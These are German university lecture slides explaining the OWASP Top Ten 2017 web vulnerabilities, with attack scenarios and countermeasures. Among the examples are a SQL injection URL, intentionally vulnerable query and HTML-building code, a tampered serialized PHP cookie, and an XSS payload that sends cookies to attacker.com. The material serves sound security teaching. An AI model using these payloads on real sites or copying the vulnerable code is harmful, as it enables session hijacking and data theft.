OWASP Top Ten

(1)

Sichere Webanwendungen

Lerneinheit 3: Die OWASP Top Ten

Prof. Dr. Christoph Karg

Studiengang Informatik Hochschule Aalen

Wintersemester 2021/2022

18.11.2021

OWASP Top Ten Einleitung

OWASP Top Ten

• OWASP erstellt in regelmäßigen Abständen eine Top Ten der am häufigsten auftretenden Schwachstellen.

• Die Liste wird auf Basis von Ergebnissen namhafter Sicherheitsfirmen erstellt.

• Neben der Erläuterung der Schwachstellen liefert das Dokument hilfreiche Tipps zum Umgang mit den Risiken der

Schwachstellen.

• Im folgenden wird die Top Ten aus dem Jahr 2017 besprochen [1].

• Im September 2021 wurde eine neue Top Ten veröffentlicht, welche auf einer anderen Bewertungsmethodik beruht [2].

(2)

Risiken in Webanwendungen

Prof. Dr. C. Karg (HS Aalen) Sichere Webanwendungen OWASP Top Ten 3 / 53

Risikobewertung in Webanwendungen

Angreifer Angriffsvektor Schwachstelle

Verbreitung Schwachstelle

Erkennbarkeit Technische

Auswirkungen Wirtschaftliche Auswirkungen Einfach

Mittel Schwierig

Weitverbreitet Verbreitet

Selten

Einfach Mittel Schwierig

Schwerwiegend Moderat

Gering Anwendungs-

spezifisch

Anwendungs- spezifisch Unternehmens-

spezifisch

(3)

OWASP Top Ten 2017

A1. Injection

A2. Broken Authentication A3. Sensitive Data Exposure

A4. XML External Entities (XXE) A5. Broken Access Control

A6. Security Misconfiguration A7. Cross-Site Scripting (XSS) A8. Insecure Deserialization

A9. Using Components with Known Vulnerabilities A10. Insuﬀicient Logging & Monitoring

OWASP Top Ten A1. Injection

1. Injection

Beschreibung:

• Injection Schwachstellen wie z.B. SQL Injection treten auf, wenn Daten ungeprüft an Interpreter als Teil eines Befehls

weitergereicht werden.

• Durch geeignete Daten kann der Interpreter ausgetrickst werden, um unerlaubte Befehle auszuführen oder Daten ohne

Authorisierung einzusehen.

Risikobewertung:

Auswirkungen Wirtschaftliche Auswirkungen

Anwendungs-

spezifisch Einfach Verbreitet Einfach Schwerwiegend

Anwendungs- spezifisch

— Unternehmens-

spezifisch

(4)

Bemerkungen

• Potentieller Angreifer ist jeder, der nicht vertrauenswürdige Daten an die Webanwendung senden kann.

• Injection Schwachstellen sind durch Analyse des Quellcodes einfach zu erkennen.

• Die technischen Auswirkungen reichen von Datenverlust über korrupte Daten bis hin zur kompletten Übernahme des Systems.

• Zur Bewertung der wirtschaftlichen Auswirkungen muss die Wichtigkeit der betroffenen Daten für das Unternehmen analysiert werden.

Beispiele für Angriffsszenarien

Szenario 1: Verwendung von nicht vertrauenswürdigen Daten bei der Konstruktion von SQL-Anfragen:

String query = "SELECT * FROM accounts WHERE custID='" + request.getParameter("id") + "'";

Szenario 2: Einsatz eines Frameworks mit bekannten Schwachstellen:

Query HQLQuery = session.createQuery("FROM accounts WHERE custID='"

+ request.getParameter("id") + "'");

(5)

Beispiele für Angriffsszenarien (Forts.)

In beiden Fällen kann der Angreifer den Parameter id abändern, indem er '1'=1 am Ende anhängt.

Beispiel:

http://example.com/app/accountView?id=' or '1'='1

Auf diese Weise werden Daten für alle Accounts ausgelesen.

Je nach Webanwendung kann man auf ähnliche Art und Weise auch interne Funktionen oder Betriebssystem-Befehle ausführen.

Wie kann man Injection Angriffe verhindern?

1. Die bevorzugte Option ist es, eine API einzusetzen, die komplett auf den Einsatz eines Interpreters verzichtet oder eine

parametrisierte Schnittstelle bereitstellt.

2. Ist keine passende API verfügbar, dann sollten die an den Interpreter übergebenen Parameter mittels sogenannten Escaping Routinen vorformatiert werden.

3. Für die Überprüfung der Eingaben sollte ein Whitelisting eingesetzt werden, zum Beispiel die Überprüfung der Eingabe mittels regulären Ausdrücken.

(6)

OWASP Top Ten A2. Broken Authentication

2. Broken Authentication

Beschreibung:

• Verfahren zur Authentisierung werden in vielen Anwendungen inkorrekt implementiert.

• Durch Ausnutzen der Schwachstellen kann der Angreifer Passwörter und Sitzungsinformationen erbeuten und diese für Identitätsdiebstahl verwenden.

Risikobewertung:

Anwendungs-

spezifisch Einfach Verbreitet Mittel Schwerwiegend

— Unternehmens-

spezifisch

Bemerkungen

• Mögliche Angreifer sind anonyme externe Hacker sowie Insider, die bereits am System authentisiert sind.

• Die Entwicklung eines Systems für Authentisierung und Session Management ist schwierig und sollte nur von Fachleuten

durchgeführt werden.

• Bei Eigenentwicklungen findet man oft Schwachstellen in der Passwortverwaltung oder im Anlegen der Accounts.

• Schwachstellen ermöglichen die Übernahme eines oder aller Accounts.

• Die Auswirkungen hängen von den Privilegien des übernommenen Accounts ab.

(7)

Beispiele für Angriffsszenarien

Szenario 1: Eine Webanwendung erlaubt URL Rewriting, indem Session IDs in der URL angegeben sind. Beispiel:

http://example.com/sale/saleitems;jsessionid=

2P0OC2JSNDLPSKHCJUN2JV?dest=Hawaii

Leitet ein authentisierter Nutzer eine solche URL beispielsweise per E-Mail weiter, kann die Session von einem Angreifer übernommen werden.

Beispiele für Angriffsszenarien (Forts.)

Szenario 2: Das Timeout einer Webanwendung ist unsauber

implementiert. Schließt ein Nutzer den Webbrowser anstatt sich von der Anwendung abzumelden, dann kann ein Angreifer die Session übernehmen.

Szenario 3: Ein Insider oder ein externer Hacker erlangt Zugriff zur Passwortdatenbank des Unternehmens und stellt fest, dass die Passwörter im Klartext gespeichert wurden.

(8)

Empfehlungen

• Es sollte ein einziges Produkt für starke Authentisierung und Session Management eingesetzt werden. Das Produkt sollte

▷ gängige Anforderungen wie z.B. den OWASP Application Security Verfication Standard erfüllen, und

▷ eine einfache Schnittstelle für Software-Entwickler bereitstellen.

• XSS Schwachstellen sollten unter allen Umständen vermieden werden, denn durch diese lassen sich Session IDs stellen.

OWASP Top Ten A3. Sensitive Data Exposure

3. Sensitive Data Exposure

Beschreibung:

• Viele Webanwendungen schützen sensible Daten nur unzureichend.

• Angreifer erlangen dadurch Zugriff auf vertrauliche

Informationen wie Geschäftsberichte, Kreditkartendaten oder Patientenakten.

Risikobewertung:

Anwendungs-

spezifisch Mittel Weitverbreitet Mittel Schwerwiegend

— Unternehmens-

spezifisch

(9)

Bemerkungen

• Jeder, der Zugriff auf vertrauliche Daten und deren Backups hat, ist ein potentieller Angreifer.

• Angreifer brechen kryptographische Verfahren nicht direkt, sondern versuchen, an den Schlüssel zu gelangen.

• Oft werden sensible Daten nicht verschlüsselt oder es kommen schlecht gewählte Schlüssel zum Einsatz.

• Die technischen Auswirkungen bestehen in der Offenlegung sensibler Daten.

• Die wirtschaftlichen Auswirkungen können finanzieller Art oder Beschädigung der Reputation sein.

Beispiele für Angriffsszenarien

Szenario 1: Eine Webanwendung speichert Kreditkartennummern verschlüsselt in einer Datenbank. Es kommt dabei das

Verschlüsselungsverfahren des Datenbanksystems zum Einsatz.

Jedoch werden die Daten bei einem Datenbankzugriff automatisch entschlüsselt. Ein Schutz gegen eine SQL Injection ist daher nicht gegeben.

Szenario 2: Eine Webserver liefert Webseiten ohne

TLS-Verschlüsselung aus. Ein Angreifer kann durch Mitschneiden des Netzverkehrs sensible Daten ergattern.

Szenario 3: Die Passwörter von Nutzern werden als nicht-gesalzener Hashwert in einer Datenbank abgelegt. Der Angreifer erlangt Zugriff auf diese Datenbank und kann mittels Rainbow Tables die Passwörter der Nutzer berechnen.

(10)

Empfehlungen

• Daten sollten bei der Speicherung und Übertragung verschlüsselt werden.

• Es sollten standardisierte Verschlüsselungsverfahren mit gut gewählten Schlüsseln verwendet werden.

• Es sollten nur die sensiblen Daten gespeichert werden, die zu einem späteren Zeitpunkt noch benötigt werden.

• Bei der Speicherung von Passwörtern sollten standardisierte Verfahren zum Einsatz kommen.

• Bei Webseiten, die sensible Daten beinhalten, sollten Caching Mechanismen deaktiviert werden.

OWASP Top Ten A4. XML External Entities (XXE)

4. XML External Entities (XXE)

Beschreibung:

• Veraltete oder schlecht konfigurierte Software zur Verarbeitung von XML Dokumenten erlaubt den Zugriff auf externe

Referenzen.

• Ein externe Referenz verweist auf beispielsweise auf eine Datei, die während der Verarbeitung des XML Dokuments eingebunden wird.

Risikobewertung:

Anwendungs-

spezifisch Mittel Verbreitet Einfach Schwerwiegend

— Unternehmens-

spezifisch

(11)

Beispiel: Billion Laughs Attack

Die Verarbeitung dieses XML-Dokuments erzeugt 3·10⁹ Byte (ca. 3 Gigabyte) an Daten.

Empfehlungen

• Falls möglich, sollte man für die Datenübertragung auf einfache Datenformate wie z.B. JSON zurückgreifen.

• XML Prozessoren und Bibliotheken sollten immer auf dem aktuellen Stand gehalten und Sicherheitspatches zeitnah eingespielt werden.

• Die Verarbeitung von XML External Entities und DTDs sollte in den XML Parsern deaktiviert werden.

• XML Daten sind durch entsprechende Mechanismen auf Korrektheit und Konsistenz zu überprüfen.

(12)

OWASP Top Ten A5. Broken Access Control

5. Broken Access Control

Beschreibung:

• Werden die Berechtigungen von authentisierten Benutzern nicht oder unzureichend geprüft, dann kann der Angreifer Zugriff zu nicht-autorisierten Funktionen oder Daten der Webanwendung erlangen.

• Beispiele: Zugriff auf andere Nutzerkonten, Zugriff auf vertrauliche Daten, Ändern von Zugriffsrechten, … Risikobewertung:

Anwendungs-

spezifisch Mittel Verbreitet Mittel Schwerwiegend

— Unternehmens-

spezifisch

Bemerkungen

• Mögliche Angreifer sind autorisierte Nutzer der Webanwendung.

• Ein Angriff kann durchgeführt werden, indem die in einer URL enthaltenen Parameter modifiziert werden.

• Technische Auswirkungen sind die Kompromittierung der Funktionen und Nutzerdaten der Webanwendung.

(13)

Beispiele für Angriffsszenarien

Szenario 1: Eine Webanwendung verwendet nicht vertrauenswürdige Daten in einem SQL-Aufruf:

pstmt.setString( 1, request.getParameter("acct"));

ResultSet results = pstmt.executeQuery( );

Der Angreifer kann durch Ändern des Parameters acct im Browser eine beliebige Account-Nummer senden. Beispiel:

http://example.com/app/accountInfo?acct=notmyacct

Beispiele für Angriffsszenarien (Forts.)

Szenario 2: Ein Angreifer gibt im Browser die gewünschte URL direkt ein. Beispiel:

http://example.com/app/getappInfo

http://example.com/app/admin_getappInfo

Hat ein nicht-authentisierter Nutzer Zugriff auf eine dieser Seiten, dann liegt ein Fehler vor. Hat ein authentisierter Nutzer, der kein Administrator ist, Zugriff auf die zweite Seite, dann liegt ebenfalls ein Fehler vor.

(14)

Empfehlungen

• Jeder Zugriff auf eine direkte Referenz innerhalb der

Webanwendung muss einer Zugriffskontrolle unterzogen werden.

• Es sollten pro Nutzer und Session unterschiedliche indirekte Objektreferenzen verwendet werden.

• Eine automatisierte Überprüfung der Zugriffe verbessert die Sicherheit von Webanwendungen.

OWASP Top Ten A6. Security Misconfiguration

6. Security Misconfiguration

Beschreibung:

• Die Sicherheit einer Webanwendung hängt von den Einstellungen der Software ab.

• Oft werden Default-Einstellungen verwendet, die nicht sicher sind.

Risikobewertung:

Anwendungs-

spezifisch Einfach Weitverbreitet Einfach Moderat

— Unternehmens-

spezifisch

(15)

Bemerkungen

• Mögliche Angreifer sind externe Hacker und Insider.

• Der Angriff besteht oft darin, Default-Accounts oder nicht

benutzte, aber aktive Webseiten für einen unautorisierten Zugriff zu missbrauchen.

• Eine Fehlkonfiguration kann an verschiedenen Stellen des Systems auftreten, zum Beispiel bei Authentisierung, bei Datenbankzugriffen oder beim zugrundeliegenden

Betriebssystem.

• Die technischen Auswirkungen reichen von unautorisiertem Zugriff auf Daten bis hin zur kompletten Übernahme des Systems.

• Die wirtschaftlichen Auswirkungen können gravierend sein, wenn das System unbemerkt übernommen wurde und fortlaufend vertrauliche Daten abgerufen werden.

Beispiele für Angriffsszenarien

Szenario 1: Die Administrationskonsole des Webservers wurde

automatisch installiert, obwohl sie nicht benötigt wird. Der Angreifer nutzt einen Default-Zugang, um die Konsole zuzugreifen und den Server zu übernehmen.

Szenario 2: Ein Webserver erlaubt die Ansicht der Verzeichnisse der Webanwendung. Der Angreifer ist in der Lage, die kompilierten Java Klassen der Webanwendung herunter zu laden. Mittels Reverse

Engineering untersucht der Angreifer den Java Code und findet mehrere Schwachstellen.

(16)

Beispiele für Angriffsszenarien (Forts.)

Szenario 3: Der Webserver zeigt bei Abstürzen der Webanwendung Stack-Traces im Webbrowser an. Auf diese Weise erlangt der

Angreifer Informationen wie eingesetzte Bibliotheken und deren Versionsnummer.

Szenario 4: Der Server der Webanwendung wird mit

Beispielanwendungen ausgeliefert, die auf dem Produktivsystem nicht entfernt wurden. Eine dieser Anwendungen hat eine Schwachstelle, über die der Server übernommen werden kann.

Empfehlungen

• Jedes Produktivsystem sollte in regelmäßigen Abständen gehärtet werden und mit automatisierten Tools auf

Schwachstellen getestet werden.

• Zur Verfügung stehende Sicherheitsupdates sollten zeitnah eingespielt werden.

• Bei der Planung der Webanwendung sollte eine Architektur gewählt werden, die eine sichere Separation der Komponenten der Anwendung vorsieht.

• Es sollte in automatisiertes Werkzeug zur Überprüfung der Konfiguration aller Systeme eingesetzt werden.

(17)

OWASP Top Ten A7. Cross Site Scripting (XSS)

7. Cross Site Scripting (XSS)

Beschreibung:

• XSS Schwachstellen treten auf, wenn eine Webanwendung das Einschleusen von gefälschten Daten in die Auslieferung von Webseiten erlaubt.

• Durch XSS kann ein Angreifer Skripte im Browser des Opfers ausführen, um Sessions zu übernehmen oder den Nutzer auf andere Webseiten umzuleiten.

Risikobewertung:

Anwendungs-

spezifisch Einfach Weitverbreitet Einfach Moderat

— Unternehmens-

spezifisch

Arten von XSS Angriffen

Unterscheidung 1:

• Stored XSS Attack ⇝ die manipulierten Daten werden permanent auf dem angegriffenen Server gespeichert.

• Reflected XSS Attack ⇝ Das Opfer wird von der

Webanwendung auf eine schädliche Webseite “umgeleitet”.

Unterscheidung 2:

• Server XSS ⇝ die nicht vertrauenswürdigen Daten werden vom Server als HTML-Seite ausgeliefert.

• Client XSS ⇝ die nicht vertrauenswürdigen Daten werden in Form von Javascript ausgeliefert.

(18)

Bemerkungen

• Potentielle Angreifer sind externe Hacker sowie Mitarbeiter und Kooperationspartner.

• Technische Auswirkungen sind:

▷ Ausführen von Schadcode im Browser des Opfers

▷ Session Hijacking

▷ Verunstalten von Webseiten

▷ Umleiten von Nutzern auf bösartige Webseiten

• Zur Bewertung der wirtschaftlichen Auswirkungen muss das komplette kompromittierte System einschließlich der darauf gespeicherten Daten untersucht werden.

Beispiel

Eine Webanwendung benutzt nicht vertrauenswürdige Daten für die Konstruktion eines HTML-Snipplets. Code:

(String) page += "<input name='creditcard' type='TEXT' value='" + request.getParameter("CC") + "'>";

Der Angreifer modifiziert den CC Parameter in seinem Browser wie folgt:

'><script>document.location=

'http://www.attacker.com/cgi-bin/cookie.cgi?

foo='+document.cookie</script>'.

Auf diese Art und Weise wird die Session ID des Opfers an den

Angreifer gesendet und er kann die Session des Nutzers übernehmen.

(19)

Gegenmaßnahmen

• Die bevorzugte Empfehlung zur Verhinderung von Server XSS ist die Verarbeitung von nicht vertrauenswürdigen Daten mittels Escaping Techniken.

• Um Client XSS zu verhindern, sollte die Übergabe von nicht vertrauenswürdigen Daten an Javascript (oder ähnliche APIs) verhindert werden.

• Im Zusammenhang mit Rich Content Anwendungen empfiehlt sich der Einsatz von Auto-Sanitization Bibliotheken,

insbesondere dann, wenn HTML-Code von Drittanbietern in die Webanwendung eingebunden wird.

OWASP Top Ten A8. Insecure Deserialization

8. Insecure Deserialization

Beschreibung:

• Aus einer Datei gelesene oder über ein Netzwerk übertragene Daten werden in Datenobjekte einer Anwendung umgewandelt (deserialisiert), ohne deren Korrektheit zu überprüfen.

• Beispiele für Werkzeuge zur Serialisierung sind SOAP, RMI und JMS.

Risikobewertung:

Anwendungs-

spezifisch Schwierig Selten Mittel Schwerwiegend

— Unternehmens-

spezifisch

(20)

Beispiel: Super Cookie

Eine PHP Anwendung hinterlegt im Webbrowser des Nutzers ein Cookie, welches die Nutzer ID, die Rolle des Nutzers und einen Passwort Hash enthält:

a:4:i:0;i:132;i:1;s:7:" Mallory";i:2;s:4:" user ";

i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";

Der Angreifer ändert die Daten ab und erhält administrativen Zugriff auf die Webapplikation:

a:4:i:0;i:132;i:1;s:7:" Alice ";i:2;s:4:" admin ";

i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";

Empfehlungen

• Design Patterns, um sich gegen diese Schwachstelle abzusichern, sind:

▷ Entgegennahme von Daten ausschließlich von vertrauenswürdigen Quellen

▷ Beschränkung auf primitive Datentypen bei der Deserialisierung

• Leider ist die Anwendung dieser Patterns nicht immer möglich.

(21)

Weitere Maßnahmen

Sind obige Design Patterns nicht anwendbar, dann werden folgende Maßnahmen empfohlen:

• Einsatz von digitalen Signaturen, um die Integrität der empfangenen Datenpakete zu überprüfen

• Erzwingen der Typkonformität der empfangenen Daten

• Ausführung der Software zur Deserialisierung mit niedrigen Privilegien

• Protokollierung von Fehlern während der Deserialisierung

• Monitoring der Software zur Deserialisierung

• Monitoring des Netzwerkverkehrs der für die Deserialisierung eingesetzten Komponenten

OWASP Top Ten A9. Using Components with Known Vulnerabilities

9. Using Components with Known Vulnerabilities

Beschreibung:

• Komponenten einer Webanwendung werden in der Regel mit denselben Berechtigungen ausgeführt wie die Webanwendung selbst.

• Wird eine Bibliothek mit bekannten Schwachstellen eingesetzt, dann kann man über sie diverse Angriffe ausführen.

Risikobewertung:

Anwendungs-

spezifisch Mittel Weitverbreitet Mittel Moderat

— Unternehmens-

spezifisch

(22)

Bemerkungen

• Schwachstellen in Bibliotheken können mit automatisierten Werkzeugen gefunden werden.

• Der Angreifer benutzt das Ergebnis der automatisierten Analyse, um einen maßgeschneiderten Angriff durchzuführen.

• Oft sind Schwachstellen in Webanwendungen vorhanden, weil deren Entwickler wenig Wert darauf legen, die benutzten Bibliotheken aktuell zu halten.

• Die technischen Auswirkungen sind vielfältig: Injection Attacken, XSS, Aushebeln der Zugangskontrolle, …. Im schlimmsten Fall wird das komplette System übernommen.

Beispiele für Schwachstellen in APIs

Apache CXF Authentication Bypass (CVE-2012-3451)

• CXF ließ die Ausführung von Aktionen zu, ohne die Korrektheit der empfangenen Daten zu überprüfen.

• Konsequenz: Angreifer konnten jeden Web Service mit den höchsten Berechtigungen ausführen.

Struts 2 Remote Code Execution (CVE-2017-5638)

• Apache Struts hat einen Fehler bei Datei Uploads.

• Konsequenz: Angreifer können beliebigen Code auf den Server hochladen und ausführen.

(23)

Empfehlungen

• Die Versionen der in einer Webanwendung eingesetzten Bibliotheken sollten zentral gespeichert werden.

• Anhand von Schwachstellendatenbanken wie die NVD sollte regelmässig überprüft werden, ob die eingesetzten Bibliotheken neue Schwachstellen enthalten.

• Mit Werkzeugen wie dem OWASP Dependency Check kann man für diverse Bibliotheken automatisiert deren Sicherheitsstatus überprüfen.

OWASP Top Ten A10. Insuﬀicient Logging & Monitoring

10. Insuﬀicient Logging & Monitoring

Beschreibung:

• Die Ausnutzung von unzureichendem Logging und Monitoring ist die Grundlage für viele Sicherheitsvorfälle.

• Angreifer nutzen diese Schwachstelle, um ihren Angriff unbemerkt durchzuführen.

• Oft bleiben Sicherheitsvorfälle über längere Zeit unentdeckt, da keine zeitnahe Auswertung der Log-Daten erfolgt.

Risikobewertung:

Anwendungs-

spezifisch Mittel Weitverbreitet Schwierig Moderat

— Unternehmens-

spezifisch

(24)

Beispiele für nicht ausreichendes Logging &

Monitoring

• Überwachbare Events wie z.B. erfolgreiche oder fehlgeschlagene Logins werden nicht protokolliert.

• Warnungen und Fehler von Software erzeugen keine oder wenig informative Log-Einträge.

• Log-Daten werden nicht hinsichtlich verdächtiger Aktivitäten untersucht.

• Logs werden nur lokal auf den Systemen gespeichert.

• Es gibt keine Warnmeldungen oder Prozesse zur Reaktion auf Warnmeldungen.

• Die eingesetzte Monitoring Software ist nicht in der Lage, Angriffe zeitnah zu erkennen.

Beispiele für Angriffsszenarien

Szenario 1: Bei einem Open Source Projekt konnten Angreifer unbemerkt den Source Code des Projekts sowie die zum Projekt gehörigen Forumseinträge löschen.

Szenario 2: Ein Angreifer versucht, Zugangsdaten von Nutzern einer Webseite zu ergattern. Hierzu startet er Login-Versuche mittels einer Liste von gängigen Passwörtern. Die fehlgeschlagenen Versuche

werden nicht protokolliert.

Szenario 3: In einem Unternehmen wird eine Software zum Auﬀinden von Malware eingesetzt. Findet die Software eine Malware, dann wird dies protokolliert. Die Protokolle werden von den Mitarbeitern des IT-Service nicht ausgewertet.

(25)

Empfehlungen

• Es muss sichergestellt werden, dass alle Login Vorgänge

protokolliert und die entsprechenden Daten ausgewertet werden.

• Alle Log-Daten sollten an einer zentralen Stelle gesammelt und ausgewertet werden.

• Durch einen Incident Response and Recovery Plan kann man Regeln und Prozesse bereitstellen, die bei einem

Sicherheitsvorfall anwendbar sind.

Ausblick

• Ende September 2021 veröffentlichte die OWASP eine aktualisierte Top Ten [2].

• Im Unterschied zum Vorgänger basiert die Bewertung auf

▷ Common Weakness Enumerations (CWE) sowie

▷ Common Vulnerability and Exposures (CVE).

• Es wurden Schwachstellen-Datenbanken ausgewertet, deren Einträge mit Common Vulnerability Scoring System (CVSS) bewertet wurden.

• Neben altbekannten Schwachstellen sind drei neue Arten von Schwachstellen hinzugekommen.

(26)

Ausblick

Änderungen von 2017 auf 2021

Zusammenfassung

• Die OWASP Top Ten ist eine Liste der häufigsten in Webanwendungen zu findenden Schwachstellen.

• Viele der Schwachstellen treten auf, obwohl sie einfach zu verhindern wären.

• Neben den in der Top Ten gelisteten Schwachstellen gibt es noch diverse andere.

• Schwachstellen gibt es nicht nur in Webanwendungen, sondern auch in anderen Komponenten von IT-Systemen.

(27)

Literatur

Literatur I

[1] Open Web Application Security Project, Hrsg. OWASP Top Ten 2017. 20. Nov. 2017. url:

https://www.owasp.org/images/7/72/OWASP_Top_10- 2017_%28en%29.pdf.pdf (besucht am 15. 04. 2021).

[2] Open Web Application Security Project, Hrsg. OWASP Top Ten 2021. 29. Sep. 2017. url:

https://owasp.org/www-project-top-ten/ (besucht am 16. 11. 2021).